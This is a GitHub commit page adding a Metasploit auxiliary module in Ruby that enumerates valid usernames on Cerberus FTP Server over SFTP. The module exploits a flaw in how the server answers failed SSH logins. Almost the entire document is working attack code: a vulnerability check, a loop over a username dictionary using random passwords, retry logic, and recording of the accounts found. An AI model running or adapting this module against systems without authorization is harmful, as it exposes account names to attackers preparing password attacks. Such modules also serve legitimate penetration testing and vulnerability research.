Skip to content

Commit f8ef6c5

Browse files
committed
Land rapid7#3470, Cerberus SFTP User Enumeration
2 parents a60dfda + 94c5a0b commit f8ef6c5

File tree

1 file changed

+213
-0
lines changed

1 file changed

+213
-0
lines changed
Lines changed: 213 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,213 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'net/ssh'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Auxiliary::Scanner
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Cerberus FTP Server SFTP Username Enumeration',
17+
'Description' => %q{
18+
This module uses a dictionary to brute force valid usernames from
19+
Cerberus FTP server via SFTP. This issue affects all versions of
20+
the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy
21+
in the way the SSH service handles failed logins for valid and invalid
22+
users. This issue was discovered by Steve Embling.
23+
},
24+
'Author' => [
25+
'Steve Embling', # Discovery
26+
'Matt Byrne <attackdebris [at] gmail.com>' # Metasploit module
27+
],
28+
'References' =>
29+
[
30+
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/93546' ],
31+
[ 'BID', '67707']
32+
],
33+
'License' => MSF_LICENSE,
34+
'DisclosureDate' => 'May 27 2014'
35+
))
36+
37+
register_options(
38+
[
39+
Opt::RPORT(22),
40+
OptPath.new(
41+
'USER_FILE',
42+
[true, 'Files containing usernames, one per line', nil])
43+
], self.class
44+
)
45+
46+
register_advanced_options(
47+
[
48+
OptInt.new(
49+
'RETRY_NUM',
50+
[true , 'The number of attempts to connect to a SSH server for each user', 3]),
51+
OptInt.new(
52+
'SSH_TIMEOUT',
53+
[true, 'Specify the maximum time to negotiate a SSH session', 10]),
54+
OptBool.new(
55+
'SSH_DEBUG',
56+
[true, 'Enable SSH debugging output (Extreme verbosity!)', false])
57+
]
58+
)
59+
end
60+
61+
def rport
62+
datastore['RPORT']
63+
end
64+
65+
def retry_num
66+
datastore['RETRY_NUM']
67+
end
68+
69+
def check_vulnerable(ip)
70+
options = {
71+
:port => rport,
72+
:auth_methods => ['password', 'keyboard-interactive'],
73+
:msframework => framework,
74+
:msfmodule => self,
75+
:disable_agent => true,
76+
:config => false,
77+
:proxies => datastore['Proxies']
78+
}
79+
80+
begin
81+
transport = Net::SSH::Transport::Session.new(ip, options)
82+
rescue Rex::ConnectionError, Rex::AddressInUse
83+
return :connection_error
84+
end
85+
86+
auth = Net::SSH::Authentication::Session.new(transport, options)
87+
auth.authenticate("ssh-connection", Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8))
88+
auth_method = auth.allowed_auth_methods.join('|')
89+
print_status "#{peer(ip)} Server Version: #{auth.transport.server_version.version}"
90+
report_service(
91+
:host => ip,
92+
:port => rport,
93+
:name => "ssh",
94+
:proto => "tcp",
95+
:info => auth.transport.server_version.version
96+
)
97+
98+
if auth_method.empty?
99+
:vulnerable
100+
else
101+
:safe
102+
end
103+
end
104+
105+
def check_user(ip, user, port)
106+
pass = Rex::Text.rand_text_alphanumeric(8)
107+
108+
opt_hash = {
109+
:auth_methods => ['password', 'keyboard-interactive'],
110+
:msframework => framework,
111+
:msfmodule => self,
112+
:port => port,
113+
:disable_agent => true,
114+
:config => false,
115+
:proxies => datastore['Proxies']
116+
}
117+
118+
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
119+
transport = Net::SSH::Transport::Session.new(ip, opt_hash)
120+
auth = Net::SSH::Authentication::Session.new(transport, opt_hash)
121+
122+
begin
123+
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
124+
auth.authenticate("ssh-connection", user, pass)
125+
auth_method = auth.allowed_auth_methods.join('|')
126+
if auth_method != ''
127+
:success
128+
else
129+
:fail
130+
end
131+
end
132+
rescue Rex::ConnectionError, Rex::AddressInUse
133+
return :connection_error
134+
rescue Net::SSH::Disconnect, ::EOFError
135+
return :success
136+
rescue ::Timeout::Error
137+
return :connection_error
138+
end
139+
end
140+
141+
def do_report(ip, user, port)
142+
report_auth_info(
143+
:host => ip,
144+
:port => rport,
145+
:sname => 'ssh',
146+
:user => user,
147+
:active => true
148+
)
149+
end
150+
151+
def peer(rhost=nil)
152+
"#{rhost}:#{rport} SSH -"
153+
end
154+
155+
def user_list
156+
users = nil
157+
if File.readable? datastore['USER_FILE']
158+
users = File.new(datastore['USER_FILE']).read.split
159+
users.each {|u| u.downcase!}
160+
users.uniq!
161+
else
162+
raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
163+
end
164+
165+
users
166+
end
167+
168+
def attempt_user(user, ip)
169+
attempt_num = 0
170+
ret = nil
171+
172+
while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error)
173+
if attempt_num > 0
174+
Rex.sleep(2 ** attempt_num)
175+
print_debug "#{peer(ip)} Retrying '#{user}' due to connection error"
176+
end
177+
178+
ret = check_user(ip, user, rport)
179+
attempt_num += 1
180+
end
181+
182+
ret
183+
end
184+
185+
def show_result(attempt_result, user, ip)
186+
case attempt_result
187+
when :success
188+
print_good "#{peer(ip)} User '#{user}' found"
189+
do_report(ip, user, rport)
190+
when :connection_error
191+
print_error "#{peer(ip)} User '#{user}' could not connect"
192+
when :fail
193+
vprint_status "#{peer(ip)} User '#{user}' not found"
194+
end
195+
end
196+
197+
def run_host(ip)
198+
print_status "#{peer(ip)} Checking for vulnerability"
199+
case check_vulnerable(ip)
200+
when :vulnerable
201+
print_good "#{peer(ip)} Vulnerable"
202+
print_status "#{peer(ip)} Starting scan"
203+
user_list.each do |user|
204+
show_result(attempt_user(user, ip), user, ip)
205+
end
206+
when :safe
207+
print_error "#{peer(ip)} Not vulnerable"
208+
when :connection_error
209+
print_error "#{peer(ip)} Connection failed"
210+
end
211+
end
212+
end
213+

0 commit comments

Comments
 (0)